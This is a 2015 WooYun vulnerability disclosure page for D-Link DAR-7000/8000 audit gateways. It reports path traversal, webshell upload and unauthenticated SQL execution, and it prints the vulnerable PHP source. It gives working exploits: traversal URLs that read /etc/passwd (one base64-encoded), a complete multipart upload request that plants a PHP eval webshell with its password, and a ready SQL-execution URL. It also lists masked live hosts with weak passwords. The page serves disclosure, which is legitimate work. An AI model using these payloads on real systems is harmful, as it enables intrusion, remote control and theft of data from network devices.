当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135939

漏洞标题:D-Link某系列上网行为审计网关存在任意文件遍历&Getshell&SQL命令执行

相关厂商:友讯网络

漏洞作者: YY-2012

提交时间:2015-08-23 21:27

修复时间:2015-11-23 19:12

公开时间:2015-11-23 19:12

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-23: 细节已通知厂商并且等待厂商处理中
2015-08-25: 厂商已经确认,细节仅向厂商公开
2015-08-28: 细节向第三方安全合作伙伴开放
2015-10-19: 细节向核心白帽子及相关领域专家公开
2015-10-29: 细节向普通白帽子公开
2015-11-08: 细节向实习白帽子公开
2015-11-23: 细节向公众公开

简要描述:

Y__Y

详细说明:

两处任意文件遍历(需登录)
一处Getshell(需登录)
一处SQL命令执行(无需登录)
根据案例测试发现涉及“DAR-8000 系列上网行为审计网关”和“DAR-7000 系列上网行为审计网关”两款网关。

漏洞证明:

第一处任意文件遍历(文件download.php):

<?php
include_once('../session.php');
include_once('../global.func.php');
include_once('../include/language_cn.php');
include_once('inc/mail.inc.php');
include_once('../include/socket.php');
$file=urldecode(base64_decode($_GET["file"]));
$ifother = "";
if(!isset($_GET['local']))
{
$ifother = ifExistOther($file);
if($ifother!="")
{
$file = $ifother;
}
else
{
error();
exit();
}
}
$path_parts = pathinfo($file);
if(isset($_GET['filetype']))
{
if($_GET['filetype']=="SMTP"&&$path_parts['extension'] == "pcap")
{
$returnvalue = parser_capmail($file,"smtp");
if ($returnvalue != "139"&&$returnvalue != "0") {
error();
exit();
}
$rpos = strrpos($file,".");
$file = substr($file,0,$rpos).".eml";
}
if($_GET['filetype']=="POP"&&$path_parts['extension'] == "cap")
{
$returnvalue = parser_capmail($file);
if ($returnvalue != "139"&&$returnvalue != "0") {
error();
exit();
}
$rpos = strrpos($file,".");
$file = substr($file,0,$rpos).".eml";
$file=str_replace("pop","pma",$file);
}
}
$get_type = $_GET['type'];
if(!file_exists($file))
{
$url_from = $_GET['url'];
error();
exit();
}
switch($get_type)
{
case 'chat':
$lines = file($file);
ini_set("default_charset",'utf-8');//!!!!!
$html="<html><head><meta http-equiv='Content-Type' content='text/html; charset=UTF-8' /><link href='../css/zooe.css' type='text/css' rel='stylesheet'><title>Chat content</title></head><body><br><br>";
$html.="<div align=center><b>Chat Content</b></div>";
$html.="<table align='center' style='border:1px solid #CEE3FB;' width='80%' border='0'>";
foreach ($lines as $line_num => $line)
{
$line_test = $line;
if($line_test != ""&&$line_test != null)
{
$line = $line_test;
}
//echo $line."<br>";
//$line = iconv("UTF-8","GB2312//ignore",$line);//GBK UTF-8 GB2312//ignore
$html.="<tr>";
$html.="<td>".$line."</td>";
$html.="</tr>";
/*if(preg_match_all("/^(.*?):(.*?)$/s",$line,$re))
{
$html.="<tr>";
$html.="<td>".$re[1][0]."</td>";
$html.="<td>".$re[2][0]."</td>";
$html.="</tr>";
}*/
}
$html.="</table>";
$html.="<br><br><div align=center><input type='button' value='close' onclick='window.close()' class='btn'></div>";
$html.="</body></html>";
echo $html;
break;
case 'webqq':
$lines = file($file);
$html="<html><head><link href='../css/zooe.css' type='text/css' rel='stylesheet'><title>Chat content</title></head><body><br><br>";
$html.="<div align=center><b>WEBQQ Content</b></div>";
$html.="<table align='center' style='border:1px solid #CEE3FB;' width='80%' border='0'>";
foreach ($lines as $line_num => $line)
{
$line_test = $line;
if($line_test != ""&&$line_test != null)
{
$line = urldecode($line_test);

}
//echo $line."<br>";
if(strstr($line,"\u"))
$line = unicode_decode($line_test);
else
$line = iconv("UTF-8","GB2312//ignore",$line);
$html.="<tr>";
$html.="<td>".$line."</td>";
$html.="</tr>";

}
$html.="</table>";
$html.="<br><br><div align=center><input type='button' value='$LANG_CLOSE' onclick='window.close()' class='btn'></div>";
$html.="</body></html>";
echo $html;
break;
case 'content':
$time_begin = $_GET['time_begin'];
$time_end = $_GET['time_end'];
$arr_tab_names = getTableByTimeRange("tb_PostLog",urldecode($time_begin),urldecode($time_end));
$id=$_GET['id'];
$sql = "";
for($i=0;$i<$tab_count;$i++)
{
$tablename = $arr_tab_names[$i];
if(!TableExists($tablename,"nsg")) continue;
$sql.= "select * from (";
$sql.= "select content from ".$arr_tab_names[$i]." where id=$id";
$sql.= " ) as tmp$i ";
if(($tab_count-1) != $i) $sql.= " union ";
}

$result=byzoro_query_error($sql);
if($result)
{
$num=byzoro_num_rows($result);
if($num>0)
{
$rows=byzoro_fetch_array($result);
$str=$rows['content'];
if(isset($_GET['keyword']))
{
$keyword=$_GET['keyword'];
$str=str_replace($keyword,"<b style=\"color:black;background-color:#ffff66\">".$keyword."</b>",$str);
}
echo htmlspecialchars($str);
}
}
break;
case 'chat_qq':
$lines = file($file);
$html="<html><head><link href='../css/zooe.css' type='text/css' rel='stylesheet'><title>Chat content</title></head><body><br><br>";
$html.="<div align=center><b>QQ Content</b></div>";
$html.="<table align='center' style='border:1px solid #CEE3FB;' width='80%' border='0'>";
$html.="<tr height='35px'><td>&nbsp;</td><td>&nbsp;</td></tr>";
foreach ($lines as $line_num => $line)
{
$line_test = $line;
if($line_test != ""&&$line_test != "null")
{
$line = $line_test;
}
//echo $line."<br>";
//$line = iconv("UTF-8","GB2312",$line);
$html.="<tr>";
$html.="<td width='5%'>&nbsp;</td>";
$html.="<td>".iconv("utf-8","GB2312//ignore",$line)."</td>";
$html.="</tr>";
/*if(preg_match_all("/^(.*?):(.*?)$/s",$line,$re))
{
$html.="<tr>";
$html.="<td>".$re[1][0]."</td>";
$html.="<td>".$re[2][0]."</td>";
$html.="</tr>";
}*/
}
$html.="<tr height='30px'><td>&nbsp;</td><td>&nbsp;</td></tr>";
$html.="</table>";
$html.="<br><br><div align=center><input type='button' value='$LANG_CLOSE' onclick='window.close()' class='btn'></div>";
$html.="</body></html>";
echo $html;
break;
case 'filedown':
download($file,$_GET['filename']);
break;
}
function download($sFilePath,$file_name)
{
if(file_exists($sFilePath))
{
$file_size=filesize ($sFilePath);
Header( "Expires: 0" );
Header( "Pragma: public" );
Header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
Header( "Cache-Control: public");
Header( "Content-Type: application/octet-stream" );
header("Accept-Ranges: bytes");
header("Accept-Length: $file_size");
if (strstr($_SERVER["HTTP_USER_AGENT"],"MSIE"))
{
Header( "Content-Disposition: attachment; filename=".$file_name );
}
else
{
header("Content-Disposition: attachment; filename=".$file_name);
}
$fp = fopen($sFilePath,"r");
$buffer_size = 1024;
$cur_pos = 0;
while(!feof($fp)&&$file_size-$cur_pos>$buffer_size)
{
$buffer = fread($fp,$buffer_size);
echo $buffer;
$cur_pos += $buffer_size;
}
$buffer = fread($fp,$file_size-$cur_pos);
echo $buffer;
fclose($fp);
return true;
}
else
{
$url_from=$_GET['url'];
error();
}
}
function error()
{
global $LANG_CONTENT_NOTOPEN,$LANG_RETURN,$LANG_BTN_CLOSE;
//echo "$LANG_CONTENT_NOTOPEN<a href=\"#\" onclick=javascript:history.back(-1)>$LANG_RETURN</a>&nbsp;&nbsp;<a href=\"javascript:window.close();\">$LANG_BTN_CLOSE</a>";
echo "<script>alert('$LANG_CONTENT_NOTOPEN');history.back(-1);</script>";
}
?>


参数file控制不严导致。文件路径需BASE64编码,利用方式https://地址/log/download.php?type=filedown&file=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==&filename=1.txt


aaaaaaaaaaaa111111111111111111111.jpg


第二处任意文件遍历(文件resmanage.php):

<?php
include_once("../session.php");
include_once('../funlist.php');
include_once("../global.func.php");
if ($_SESSION['language'] != "english") {
require_once ("../include/language_cn.php");
} else {
require_once ("../include/language_en.php");
}
//tftp -g **.**.**.** -r useratte/tpl/_resmanage.php
/**
* Goofy 2011-11-30
* getDir()去文件夹列表,getFile()去对应文件夹下面的文件列表,二者的区别在于判断有没有“.”后缀的文件,其他都一样
*/
//获取文件目录列表,该方法返回数组
function getDir($dir) {
$dirArray[] = NULL;
if (false != ($handle = opendir($dir))) {
$i = 0;
while (false !== ($file = readdir($handle))) {
//去掉"“.”、“..”以及带“.xxx”后缀的文件
if ($file != "." && $file != ".." && !strpos($file, ".")) {
$dirArray[$i] = $file;
$i++;
}
}
//关闭句柄
closedir($handle);
}
return $dirArray;
}
//获取文件列表
function getFile($dir) {
$fileArray[] = NULL;
if (false != ($handle = opendir($dir))) {
$i = 0;
while (false !== ($file = readdir($handle))) {
//去掉"“.”、“..”以及带“.xxx”后缀的文件
if ($file != "." && $file != ".." && strpos($file, ".")) {
//$fileArray[$i]="./imageroot/current/".$file;
$fileArray[$i] = $dir . $file;
if ($i == 100) {
break;
}
$i++;
}
}
//关闭句柄
closedir($handle);
}
return $fileArray;
}
//上传
$targetdir = "/home/portal/res/";
function upload($targetdir) {
$filetype = substr($_FILES["file"]["type"], 0, 5);
if($filetype != 'image'){
alert_only("不是图像文件,不能上传");//不是图像文件,不能上传
return false;
}

if(round($_FILES["file"]["size"]/1024)>1024){
alert_only("图像大于1M,不能上传");//图像大于1M,不能上传
return false;
}


if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if ($_FILES["file"]["error"] > 0) {
alert_only("错误消息: " . $_FILES["file"]["error"]);//错误消息
} else {
$move = move_uploaded_file($_FILES["file"]["tmp_name"], $targetdir . $_FILES["file"]["name"]);
$str = "config portal \n resource file ".$targetdir . $_FILES["file"]["name"]." \n";
socket($str);
alert_only('上传成功!');//上传成功
}
} else {
alert_only('上传失败!');//上传失败
}
}
if (isset($_FILES['file'])) {
upload($targetdir);
}
//内存加载的文件数组
function get_memory_file_arr(){
$str="show running-config portal\n";
$aaa=socket($str);
preg_match_all("/resource file (.*?)\n/",$aaa,$matches);
return $matches[1];
}
$memfile = get_memory_file_arr();
$fileArray = getFile($targetdir);
function get_sever_arr(){
$str="show running-config portal\n";
$aaa=socket($str);
preg_match_all("/resource server (.*?)\n/",$aaa,$matches);
return $matches[1];
}
$severarr = get_sever_arr();
//删除
if(isset($_GET['dels'])){
$dels = $_GET['dels'];
$dels = explode("||", $dels);
$descompelet = true;
$commend ="config portal \n" ;
foreach ($dels as $value){
if(!unlink($value)){
$descompelet = false;
}
$commend.="no resource file ".$value." \n";
}
socket($commend);
if($descompelet){
alert("$LANG_DEL_SUCESS!", "resmanage.php");
}else{
alert_only("$LANG_DEL_FAILD");
}
die();
}
//下载
if(isset($_GET['load'])){
$load = $_GET['load'];
$load = explode("||", $load);
$load = implode(" ",$load);
$dirr = "/tmp/";
chdir($dirr);
$commend = "tar czvf img.tar.gz ".$load;
if (exec($commend,$output, $return_val)){
echo "<script>location='" . $dirr . "img.tar.gz';</script>";
}else {
alert_only("$LANG_DOWNFAILE");
}
die();
}
if(isset($_GET['regist'])){
$regist = $_GET['regist'];
$regist = explode("||", $regist);
$str ="config portal \n" ;
foreach ($regist as $v){
$str.="resource file ".$v." \n";
}
socket($str);
location("resmanage.php");
die();
}
if(isset($_GET['saveserver'])){//保存服务器资源
$saveserver = $_GET['saveserver'];
$saveserver = explode("||", $saveserver);//$severarr
$arr1 = array_diff($saveserver,$severarr);//需要添加的。
$arr2 = array_diff($severarr,$saveserver);//需要删除的。
$str ="config portal \n" ;
foreach ($arr2 as $v){
if (trim($v)=="")
{
continue;
}
$str.="no resource server ".trim($v)." \n";
}
foreach ($arr1 as $v){
if (trim($v)=="")
{
continue;
}
$str.="resource server ".trim($v)." \n";
}
$str.="exit\n";
socket($str);
echo "<script>window.location.reload()</script>";
die();
}
if(isset($_GET['delssrc'])){//删除服务器资源
$delssrc = $_GET['delssrc'];
$str ="config portal \n no resource server ".$delssrc ."\nexit\n";
socket($str);
echo "<script>window.location.reload()</script>";
die();
}
if (isset($_GET['webpush']) && $_GET['webpush']==1)
{
$menustr = "当前位置:WEB推送 >> 定制推送页面 >> 资源文件管理";
}
else
{
$menustr = "当前位置:用户认证 >> 定制WEB认证页面 >> 资源文件管理";
}
require_once("tpl/_resmanage.php");


参数load控制不严导致,利用方式https://地址/useratte/resmanage.php?load=../../../../etc/passwd


以上访问会生成一个临时gz压缩文件tmp/img.tar.gz该文件无需登录可直接访问下载。


aaaaaaaaaaaaaa444444444444444444.jpg


aaaaaaaaaaaaaaa555555555555555555.jpg


一处Getshell(与上面文件一样,同样是文件resmanage.php):

POST /useratte/resmanage.php? HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: **.**.**.**:8443/useratte/resmanage.php?webpush=1
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df257213045a
Accept-Encoding: gzip, deflate
Host: **.**.**.**:8443
Content-Length: 1325
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=bd04e3588f8e5c447f1b4f5a826ca979
-----------------------------7df257213045a
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/pjpeg
<?php @eval($_POST['pass']);?>
-----------------------------7df257213045a
Content-Disposition: form-data; name="type"
uploados
-----------------------------7df257213045a--


aaaaaaaaaaaaaaa22222222222222222222.jpg


aaaaaaaaaaaaaaaa3333333333333333333333.jpg


**.**.**.**:8443/home/portal/res/test.php   密码pass


一处无需登录下可SQL命令执行(文件importexport.php):

<?php 
require_once("global.func.php");
require_once("include/language_cn.php");
$arr_tab = array();
$arr_tab['部门'] = "select id,department_name,department_desc,start_ip,end_ip from tb_department;";
$arr_tab['用户'] = "select `id`,`group_id`,`user_name`,`user_ip`,`user_mac`,`desc`,`user_mobile`,`user_tel`,`user_email`,`type` as `user_type` from tb_user";
if(isset($_GET['type'])) $get_type = $_GET['type'];
if(isset($_GET['tab'])) $get_tab = $_GET['tab'];
if(isset($_GET['sql'])) $get_sql = $_GET['sql'];
if($get_type == "exportexcel") //导出excel
{
exportExcel("$get_tab",$arr_tab[$get_tab]);
}
if($get_type == "exportexcelbysql") //导出excel bysql
{
if ($get_tab=="exportweblog") //导出web认证日志
{
$get_tab = $arr_export_cn["tb_WebAuthLog"];
exportWeblog("$get_tab",stripslashes(base64_decode($get_sql)));
exit();
}
$get_tab = $arr_export_cn[$get_tab];
exportExcel("$get_tab",stripslashes(base64_decode($get_sql)));
}
if($get_type == "exportexcelbystring") //导出by string
{
exportExcelByString($get_tab,$get_sql);
}
?>


SQL语句执行前需BASE64编码。利用方式如下:

aaaaaaaaaaaaa6666666666666666666.jpg


aaaaaaaaaaaaaa777777777777777777777.jpg


这里执行“select * from tb_operationlog ”语句为例:

https://地址/importexport.php?sql=c2VsZWN0ICogZnJvbSB0Yl9vcGVyYXRpb25sb2cg%3D%3D&tab=tb_operationlog&type=exportexcelbysql


弱口令案例:

**.**.**.**:8443/home.php      DAR-7000 系列上网行为审计网关
**.**.**.**:8443/home.php DAR-7000 系列上网行为审计网关
**.**.**.**:8443/home.php DAR-7000 系列上网行为审计网关
**.**.**.**:8443/home.php DAR-7000 系列上网行为审计网关
**.**.**.**:8443/home.php DAR-8000 系列上网行为审计网关
**.**.**.**:8443/home.php DAR-7000 系列上网行为审计网关
**.**.**.**:8443/home.php DAR-8000 系列上网行为审计网关
**.**.**.**:8443/home.php DAR-8000 系列上网行为审计网关

修复方案:

联系厂商

版权声明:转载请注明来源 YY-2012@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-08-25 19:11

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无